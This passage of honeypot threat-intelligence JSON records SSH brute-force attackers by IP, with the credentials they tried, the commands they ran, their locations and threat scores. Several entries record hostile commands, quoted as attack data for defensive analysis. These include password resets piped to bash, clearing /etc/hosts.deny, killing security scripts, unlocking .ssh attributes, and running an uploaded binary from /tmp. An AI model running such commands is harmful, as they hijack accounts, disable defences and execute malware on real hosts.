        "first_seen_30d": "2026-04-25T06:19:41.399000+00:00",
        "last_seen_30d": "2026-04-25T06:50:04.008000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "118.26.36.195": {
      "attack_count": 199,
      "first_seen": "2026-04-22T23:03:50.222Z",
      "last_seen": "2026-04-22T23:38:06.382Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "claude",
        "345gs5662d34",
        "admin",
        "deploy",
        "frappe",
        "martin",
        "newtest",
        "proxyuser",
        "teamspeak",
        "test12",
        "test5",
        "tp",
        "ts3user",
        "user2",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "112358",
        "123456789m",
        "123ABCdef",
        "123asd,./",
        "3245gs5662d34",
        "345gs5662d34",
        "Mk123456",
        "P@ssw0rdP@ssw0rd",
        "Qwert123!",
        "Reset@123",
        "Teamspeak2025",
        "Ubuntu28!",
        "Vpn06",
        "claude17",
        "claude22",
        "d3pl0y1234",
        "frappe17",
        "martin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Qwert123!\\nxAN9b93lKhVK\\nxAN9b93lKhVK\\n\"|passwd",
        "echo -e \"Qwert123!\\nxAN9b93lKhVK\\nxAN9b93lKhVK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T23:03:50.222000+00:00",
        "last_seen_30d": "2026-04-22T23:39:07.766000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "144.31.230.156": {
      "attack_count": 194,
      "first_seen": "2026-04-11T21:48:52.694Z",
      "last_seen": "2026-04-11T22:28:48.160Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "postgres",
        "ubuntu",
        "345gs5662d34",
        "Azure",
        "deploy",
        "dev",
        "lee",
        "mk",
        "n8n",
        "odoo",
        "server",
        "test1",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc@WSX!QAZ",
        "Abc@123456789",
        "Dev28!",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "Root24!",
        "YuLiShoping123...",
        "aaa",
        "admin17!",
        "mk123",
        "odoo@",
        "qazwsx123456789@",
        "qazwsx2020#$",
        "qwe"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin17!\\nBBJMAJl36MF6\\nBBJMAJl36MF6\\n\"|passwd",
        "echo -e \"admin17!\\nBBJMAJl36MF6\\nBBJMAJl36MF6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T21:48:52.694000+00:00",
        "last_seen_30d": "2026-04-11T22:29:54.098000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "122.165.121.195": {
      "attack_count": 169,
      "first_seen": "2026-04-21T21:57:29.843Z",
      "last_seen": "2026-04-21T22:46:31.465Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "postgres",
        "345gs5662d34",
        "admin1234",
        "deep",
        "dev",
        "ec2-user",
        "mxuser",
        "neo",
        "sasha",
        "smart",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123!@#",
        "QwerQwer1234",
        "Root12345$",
        "Yz123456@",
        "admin1234",
        "admin24",
        "admin@01",
        "asdasdasd",
        "deep@123",
        "dev21",
        "ec2-user",
        "mxuser",
        "neo",
        "pa$$w0rd",
        "postgres2026!@#",
        "qazwsx001#",
        "qwert1",
        "roottoor"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin24\\njhB2U2YrCEUw\\njhB2U2YrCEUw\\n\"|passwd",
        "echo -e \"admin24\\njhB2U2YrCEUw\\njhB2U2YrCEUw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kollam",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:57:29.843000+00:00",
        "last_seen_30d": "2026-04-21T22:47:40.965000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 51
      }
    },
    "165.154.231.46": {
      "attack_count": 168,
      "first_seen": "2026-04-26T20:04:21.831Z",
      "last_seen": "2026-04-26T20:45:21.811Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1q2w3e@",
        "202612",
        "3245gs5662d34",
        "345gs5662d34",
        "8522",
        "Admin@2024.",
        "Da123456.",
        "P@ssw0rd111",
        "Rj123456",
        "admin888.",
        "admin_888",
        "dubin@20240120",
        "erty",
        "htvx32v6",
        "it123456",
        "lalalala",
        "nidaye",
        "qwerty@1234",
        "rsync",
        "signature"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vBFiknA92eAI\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:04:21.831000+00:00",
        "last_seen_30d": "2026-04-26T20:46:26.603000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "152.32.185.214": {
      "attack_count": 158,
      "first_seen": "2026-04-02T23:41:48.701Z",
      "last_seen": "2026-04-03T00:39:07.097Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "13082025",
        "1qaz2wsxZXCV",
        "3245gs5662d34",
        "345gs5662d34",
        "456123asd",
        "9090opop",
        "@wsx2wsx",
        "Huawei@123456",
        "Password2026!",
        "Ps123456",
        "Qwert123#@!",
        "Test@2025",
        "Vps",
        "Xh123456",
        "aini1314",
        "amerika123",
        "p@sSw0rD",
        "r00t@admin",
        "redhat12345",
        "woshiguanliyuan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:z8dDwxZg182z\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T23:41:48.701000+00:00",
        "last_seen_30d": "2026-04-03T00:40:15.640000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 50
      }
    },
    "197.5.145.114": {
      "attack_count": 158,
      "first_seen": "2026-04-07T07:10:39.926Z",
      "last_seen": "2026-04-07T07:39:50.537Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "hdoop",
        "postgres",
        "steam",
        "sysuser",
        "testftp"
      ],
      "passwords_attempted": [
        "12",
        "123",
        "123123aA",
        "12345.QWERTY",
        "123456ABC",
        "2342w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "66668888",
        "DDxx123123",
        "Passw0rd@1234",
        "Qazwsx1111!!",
        "Test2025",
        "a123456",
        "admin123@#",
        "ch@ng3m3",
        "j3qq4h7h2v",
        "postgres03!",
        "sysuser",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:mGfUMvEHbsy4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:10:39.926000+00:00",
        "last_seen_30d": "2026-04-07T07:40:52.039000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 52
      }
    },
    "221.200.214.2": {
      "attack_count": 94,
      "first_seen": "2026-04-16T11:09:34.679Z",
      "last_seen": "2026-04-16T11:15:28.008Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:09:34.679000+00:00",
        "last_seen_30d": "2026-04-16T11:16:32.210000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 48
      }
    },
    "220.205.122.34": {
      "attack_count": 48,
      "first_seen": "2026-04-16T00:14:07.782Z",
      "last_seen": "2026-04-16T00:32:36.835Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "seedbox",
        "steam",
        "test"
      ],
      "passwords_attempted": [
        "147258",
        "AAAAAA",
        "palworld",
        "seedbox",
        "test123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140726,
      "as_org": "UNICOM AnHui province network",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T00:14:07.782000+00:00",
        "last_seen_30d": "2026-04-16T00:37:06.663000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 14
      }
    },
    "72.255.18.6": {
      "attack_count": 48,
      "first_seen": "2026-04-28T08:40:55.903Z",
      "last_seen": "2026-04-28T08:46:07.222Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:40:55.903000+00:00",
        "last_seen_30d": "2026-04-28T08:47:12.698000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "103.18.14.68": {
      "attack_count": 46,
      "first_seen": "2026-04-05T07:50:21.891Z",
      "last_seen": "2026-04-05T07:55:20.202Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:50:21.891000+00:00",
        "last_seen_30d": "2026-04-05T07:56:24.987000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "202.47.57.122": {
      "attack_count": 46,
      "first_seen": "2026-04-10T04:21:30.719Z",
      "last_seen": "2026-04-10T04:26:35.974Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T04:21:30.719000+00:00",
        "last_seen_30d": "2026-04-10T04:27:39.827000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "195.178.110.15": {
      "attack_count": 32,
      "first_seen": "2026-04-06T22:03:02.470Z",
      "last_seen": "2026-04-25T07:03:27.107Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T22:03:02.470000+00:00",
        "last_seen_30d": "2026-04-25T07:04:31.949000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "173.248.245.205": {
      "attack_count": 30,
      "first_seen": "2026-04-01T06:44:20.989Z",
      "last_seen": "2026-04-01T06:46:32.047Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 132585,
      "as_org": "SkyExchange Internet Access",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:44:20.989000+00:00",
        "last_seen_30d": "2026-04-01T06:47:37.215000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "94.243.13.33": {
      "attack_count": 30,
      "first_seen": "2026-04-10T23:56:35.713Z",
      "last_seen": "2026-04-10T23:59:51.846Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T23:56:35.713000+00:00",
        "last_seen_30d": "2026-04-11T00:00:58.765000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "123.12.254.11": {
      "attack_count": 28,
      "first_seen": "2026-04-09T03:14:58.983Z",
      "last_seen": "2026-04-09T03:18:00.480Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T03:14:58.983000+00:00",
        "last_seen_30d": "2026-04-09T03:19:04.225000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "185.93.89.49": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:16:51.574Z",
      "last_seen": "2026-04-15T17:50:28.008Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "1#kelltech",
        "Kelltech1.",
        "Kelltech1234#",
        "Kelltech123@",
        "Kelltech2019"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:16:51.574000+00:00",
        "last_seen_30d": "2026-04-15T17:51:37.425000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "125.227.156.55": {
      "attack_count": 26,
      "first_seen": "2026-04-09T10:13:13.407Z",
      "last_seen": "2026-04-09T10:13:19.909Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [
        "./9k5cHKca",
        "cd /tmp && chmod +x 9k5cHKca && bash -c ./9k5cHKca",
        "scp -t /tmp/9k5cHKca"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.var",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T10:13:13.407000+00:00",
        "last_seen_30d": "2026-04-09T10:14:26.105000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 8
      }
    },
    "2.26.86.54": {
      "attack_count": 25,
      "first_seen": "2026-04-17T06:02:46.004Z",
      "last_seen": "2026-04-17T06:16:25.230Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 3.3,
        "diversity": 4,
